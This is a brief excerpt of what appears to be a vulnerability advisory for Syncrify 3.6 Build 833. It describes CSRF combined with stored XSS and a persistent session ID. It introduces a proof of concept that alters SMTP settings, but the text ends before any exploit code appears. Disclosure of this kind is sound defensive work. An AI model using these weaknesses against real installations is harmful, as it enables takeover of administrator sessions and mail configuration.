# EXPLOIT DESCRIPTION #
Syncrify 3.6 Build 833 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to change the SMTP settings in the application, and combines it with two of the stored XSS vulnerabilities.
